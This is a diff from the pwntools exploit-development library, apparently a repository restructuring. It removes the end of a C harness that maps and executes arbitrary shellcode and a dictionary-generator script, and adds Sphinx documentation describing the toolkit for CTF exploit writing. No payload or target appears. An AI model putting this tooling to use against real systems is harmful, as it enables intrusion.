-  if (argc != 2) {
-    fprintf(stderr, "Usage: %s (<filename>|-)\n", argv[0]);
-    return EXIT_FAILURE;
-  }
-
-  if (strcmp(argv[1], "-") == 0) {
-    bufsize = 4096;
-    p = malloc(bufsize);
-    z = 0;
-    numb = 0;
-    while ((c = getchar()) != EOF) {
-      if (numb == bufsize) {
-        bufsize += 4096;
-        p = realloc(p, bufsize);
-      }
-      p[numb++] = c;
-      if (c == '\0') z++;
-    }
-
-    if ((shellcode = mmap(NULL, numb, PROT_READ | PROT_EXEC | PROT_WRITE,
-                          MAP_ANONYMOUS | MAP_PRIVATE, -1, 0)) == MAP_FAILED) {
-      perror("mmap() failed");
-      return EXIT_FAILURE;
-    }
-    memcpy(shellcode, p, numb);
-    free(p);
-  } else {
-    if ((fd = open(argv[1], O_RDONLY)) < 0) {
-      perror("open() failed");
-      return EXIT_FAILURE;
-    }
-    if (fstat(fd, &sbuf)) {
-      perror("fstat() failed");
-      return EXIT_FAILURE;
-    }
-    if ((shellcode = mmap(NULL, sbuf.st_size, PROT_READ | PROT_EXEC | PROT_WRITE,
-                          MAP_PRIVATE, fd, 0)) == MAP_FAILED) {
-      perror("mmap() failed");
-      return EXIT_FAILURE;
-    }
-
-    close(fd);
-    for (i = 0, z = 0, p = (void *)shellcode; i < sbuf.st_size; i++) {
-      if (p[i] == '\0') z++;
-    }
-    numb = sbuf.st_size;
-  }
-
-  printf("Read %d bytes of shell code. Here goes.\n", numb);
-  if (z > 0) printf("Shellcode contains %d zero bytes.\n", z);
-  printf("~~~ Running shellcode ~~~\n");
-
-  shellcode();
-
-  /* should not be reached */
-  return EXIT_FAILURE;
-}

dictgen/dictgen

@@ -1,94 +0,0 @@
-#!/usr/bin/env python
-import sys, os, warnings
-from argparse import ArgumentParser, ArgumentDefaultsHelpFormatter
-
-DEFAULT_ALPHABET = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
-DEFAULT_ALPHABET_SHORT = 'a-zA-Z0-9'
-DEFAULT_SYMBOLS = '-/?!'
-
-if __name__ == "__main__":
-    try:
-        p = ArgumentParser(description='Generate dictionary',
-                           formatter_class=ArgumentDefaultsHelpFormatter)
-        p.add_argument('-o', '--output',
-                       default='STD_OUT',
-                       metavar='<file>',
-                       help='Output')
-        p.add_argument('input',
-                       default='STD_IN',
-                       nargs='*',
-                       metavar='<file>',
-                       help='Input(s)')
-        p.add_argument('-a', '--alphabet',
-                       default=DEFAULT_ALPHABET_SHORT,
-                       metavar='<string>',
-                       help='Alphabet')
-        p.add_argument('-s', '--symbols',
-                       default=DEFAULT_SYMBOLS,
-                       metavar='<string>',
-                       help='Symbols.  Will be treated as alphabet *and* non-alphabet characters, i.e. "twenty-three" results in the dictionary "twenty, three, twenty-three"')
-        args = p.parse_args()
-        if args.alphabet == DEFAULT_ALPHABET_SHORT:
-            alph = DEFAULT_ALPHABET
-        else:
-            alph = args.alphabet
-        symb = args.symbols
-        out = args.output
-        if args.input == 'STD_IN':
-            args.input = ['/dev/stdin']
-        d = set()
-        w = []
-        start = True
-        def add ():
-            global d, w
-            for word in w:
-                d.add(''.join(word))
-        for f in args.input:
-            try:
-                src = open(f)
-            except IOError as (_, e):
-                print 'Could not open "%s": %s' % (out, e)
-                dst.close()
-                exit(0)
-            while True:
-                c = src.read(1)
-                if c == '':
-                    src.close()
-                    break
-                if c in alph:
-                    for word in w:
-                        word.append(c)
-                    if start:
-                        w.append([c])
-                    start = False
-                else:
-                    add()
-                    if c in symb:
-                        for word in w:
-                            word.append(c)
-                    else:
-                        w = []
-                    start = True
-            add()
-            w = []
-
-        if out == 'STD_OUT':
-            dst = sys.stdout
-        else:
-            try:
-                dst = open(out, 'w')
-            except IOError as (_, e):
-                print 'Could not open "%s": %s' % (out, e)
-                with warnings.catch_warnings():
-                    warnings.simplefilter("ignore")
-                    try:
-                        fn = os.tmpnam()
-                        dst = open(fn, 'w')
-                        print '(Writing output to "%s" instead.)' % fn
-                    except:
-                        exit(0)
-        for word in d:
-            dst.write(word)
-            dst.write('\n')
-    except KeyboardInterrupt:
-        print ''

docs/.gitignore

@@ -0,0 +1,2 @@
+build
+robots.txt

docs/Makefile

@@ -0,0 +1,153 @@
+# Makefile for Sphinx documentation
+#
+
+# You can set these variables from the command line.
+SPHINXOPTS    =
+SPHINXBUILD   = sphinx-build
+PAPER         =
+BUILDDIR      = build
+
+# Internal variables.
+PAPEROPT_a4     = -D latex_paper_size=a4
+PAPEROPT_letter = -D latex_paper_size=letter
+ALLSPHINXOPTS   = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source
+# the i18n builder cannot share the environment and doctrees with the others
+I18NSPHINXOPTS  = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source
+
+.PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest gettext
+
+help:
+	@echo "Please use \`make <target>' where <target> is one of"
+	@echo "  html       to make standalone HTML files"
+	@echo "  dirhtml    to make HTML files named index.html in directories"
+	@echo "  singlehtml to make a single large HTML file"
+	@echo "  pickle     to make pickle files"
+	@echo "  json       to make JSON files"
+	@echo "  htmlhelp   to make HTML files and a HTML help project"
+	@echo "  qthelp     to make HTML files and a qthelp project"
+	@echo "  devhelp    to make HTML files and a Devhelp project"
+	@echo "  epub       to make an epub"
+	@echo "  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter"
+	@echo "  latexpdf   to make LaTeX files and run them through pdflatex"
+	@echo "  text       to make text files"
+	@echo "  man        to make manual pages"
+	@echo "  texinfo    to make Texinfo files"
+	@echo "  info       to make Texinfo files and run them through makeinfo"
+	@echo "  gettext    to make PO message catalogs"
+	@echo "  changes    to make an overview of all changed/added/deprecated items"
+	@echo "  linkcheck  to check all external links for integrity"
+	@echo "  doctest    to run all doctests embedded in the documentation (if enabled)"
+
+clean:
+	-rm -rf $(BUILDDIR)/*
+
+html:
+	$(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html
+	@echo
+	@echo "Build finished. The HTML pages are in $(BUILDDIR)/html."
+
+dirhtml:
+	$(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml
+	@echo
+	@echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml."
+
+singlehtml:
+	$(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml
+	@echo
+	@echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml."
+
+pickle:
+	$(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle
+	@echo
+	@echo "Build finished; now you can process the pickle files."
+
+json:
+	$(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json
+	@echo
+	@echo "Build finished; now you can process the JSON files."
+
+htmlhelp:
+	$(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp
+	@echo
+	@echo "Build finished; now you can run HTML Help Workshop with the" \
+	      ".hhp project file in $(BUILDDIR)/htmlhelp."
+
+qthelp:
+	$(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp
+	@echo
+	@echo "Build finished; now you can run "qcollectiongenerator" with the" \
+	      ".qhcp project file in $(BUILDDIR)/qthelp, like this:"
+	@echo "# qcollectiongenerator $(BUILDDIR)/qthelp/pwntools.qhcp"
+	@echo "To view the help file:"
+	@echo "# assistant -collectionFile $(BUILDDIR)/qthelp/pwntools.qhc"
+
+devhelp:
+	$(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp
+	@echo
+	@echo "Build finished."
+	@echo "To view the help file:"
+	@echo "# mkdir -p $$HOME/.local/share/devhelp/pwntools"
+	@echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/pwntools"
+	@echo "# devhelp"
+
+epub:
+	$(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub
+	@echo
+	@echo "Build finished. The epub file is in $(BUILDDIR)/epub."
+
+latex:
+	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
+	@echo
+	@echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex."
+	@echo "Run \`make' in that directory to run these through (pdf)latex" \
+	      "(use \`make latexpdf' here to do that automatically)."
+
+latexpdf:
+	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
+	@echo "Running LaTeX files through pdflatex..."
+	$(MAKE) -C $(BUILDDIR)/latex all-pdf
+	@echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex."
+
+text:
+	$(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text
+	@echo
+	@echo "Build finished. The text files are in $(BUILDDIR)/text."
+
+man:
+	$(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man
+	@echo
+	@echo "Build finished. The manual pages are in $(BUILDDIR)/man."
+
+texinfo:
+	$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo
+	@echo
+	@echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo."
+	@echo "Run \`make' in that directory to run these through makeinfo" \
+	      "(use \`make info' here to do that automatically)."
+
+info:
+	$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo
+	@echo "Running Texinfo files through makeinfo..."
+	make -C $(BUILDDIR)/texinfo info
+	@echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo."
+
+gettext:
+	$(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale
+	@echo
+	@echo "Build finished. The message catalogs are in $(BUILDDIR)/locale."
+
+changes:
+	$(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes
+	@echo
+	@echo "The overview file is in $(BUILDDIR)/changes."
+
+linkcheck:
+	$(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck
+	@echo
+	@echo "Link check complete; look for any errors in the above output " \
+	      "or in $(BUILDDIR)/linkcheck/output.txt."
+
+doctest:
+	$(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest
+	@echo "Testing of doctests in the sources finished, look at the " \
+	      "results in $(BUILDDIR)/doctest/output.txt."

docs/requirements.txt

@@ -0,0 +1,6 @@
+paramiko
+argparse
+mako
+pyelftools
+sphinxcontrib-napoleon
+sphinxcontrib-autoprogram

docs/source/about.rst

@@ -0,0 +1,56 @@
+About pwntools
+========================
+
+Whether you're using it to write exploits, or as part
+of another software project will dictate how you use it.
+
+Historically pwntools was used as a sort of exploit-writing DSL. Simply doing
+``from pwn import *`` in a previous version of pwntools would bring all sorts of
+nice side-effects.
+
+When redesigning pwntools for 2.0, we noticed two contrary goals:
+
+* We would like to have a "normal" python module structure, to allow other
+  people to faster get familiar with how pwntools works.
+* We would like to have even more side-effects, especially by putting the
+  terminal in raw-mode.
+
+To make this possible, we decided to have two different modules. :mod:`pwnlib`
+would be our nice, clean Python module, while :mod:`pwn` would be used during
+CTFs.
+
+:mod:`pwn` --- Toolbox optimized for CTFs
+-----------------------------------------
+
+.. module:: pwn
+
+As stated, we would also like to have the ability to get a lot of these
+side-effects by default. That is the purpose of this module. It does
+the following:
+
+* Imports everything from the toplevel :mod:`pwnlib` along with
+  functions from a lot of submodules. This means that if you do
+  ``import pwn`` or ``from pwn import *``, you will access to
+  everything you need to write an exploit.
+* Calls :func:`pwnlib.term.init` to put your terminal in raw mode
+  and implementing functionality to make it look like it is not.
+* Setting the :data:`pwnlib.context.log_level` to `"info"`.
+* Tries to parse some of the values in :data:`sys.argv` and every
+  value it succeeds in parsing it removes.
+
+:mod:`pwnlib` --- Normal python library
+---------------------------------------
+
+.. module:: pwnlib
+
+This module is our "clean" python-code. As a rule, we do not think that
+importing :mod:`pwnlib` or any of the submodules should have any significant
+side-effects (besides e.g. caching).
+
+For the most part, you will also only get the bits you import. You for instance
+not get access to :mod:`pwnlib.util.packing` simply by doing ``import
+pwnlib.util``.
+
+Though there are a few exceptions (such as :mod:`pwnlib.shellcraft`), that does
+not quite fit the goals of being simple and clean, but they can still be
+imported without implicit side-effects.

docs/source/asm.rst

@@ -0,0 +1,10 @@
+.. testsetup:: *
+
+   from pwnlib.asm import *
+   from pwnlib import shellcraft
+
+:mod:`pwnlib.asm` --- Assembler functions
+=========================================
+
+.. automodule:: pwnlib.asm
+   :members:

docs/source/atexception.rst

@@ -0,0 +1,5 @@
+:mod:`pwnlib.atexception` --- Callbacks on unhandled exception
+==============================================================
+
+.. automodule:: pwnlib.atexception
+   :members:

docs/source/atexit.rst

@@ -0,0 +1,5 @@
+:mod:`pwnlib.atexit` --- Replacement for atexit
+===============================================
+
+.. automodule:: pwnlib.atexit
+   :members:

docs/source/commandline.rst

@@ -0,0 +1,46 @@
+.. testsetup:: *
+
+   from pwn import *
+   old = context.defaults.copy()
+
+.. testcleanup:: *
+
+    context.defaults.copy = old
+
+Command Line Tools
+========================
+
+pwntools comes with a handful of useful command-line utilities which serve as wrappers for some of the internal functionality.
+
+.. toctree::
+
+.. autoprogram:: pwnlib.commandline.asm:parser
+   :prog: asm
+
+.. autoprogram:: pwnlib.commandline.constgrep:p
+   :prog: constgrep
+
+.. autoprogram:: pwnlib.commandline.cyclic:parser
+   :prog: cyclic
+
+.. autoprogram:: pwnlib.commandline.disasm:parser
+   :prog: disasm
+
+.. autoprogram:: pwnlib.commandline.elfdiff:p
+   :prog: elfdiff
+
+.. autoprogram:: pwnlib.commandline.elfpatch:p
+   :prog: elfpatch
+
+.. autoprogram:: pwnlib.commandline.hex:parser
+   :prog: hex
+
+.. autoprogram:: pwnlib.commandline.phd:parser
+   :prog: phd
+
+.. autoprogram:: pwnlib.commandline.shellcraft:p
+   :prog: shellcraft
+
+.. autoprogram:: pwnlib.commandline.unhex:parser
+   :prog: unhex
+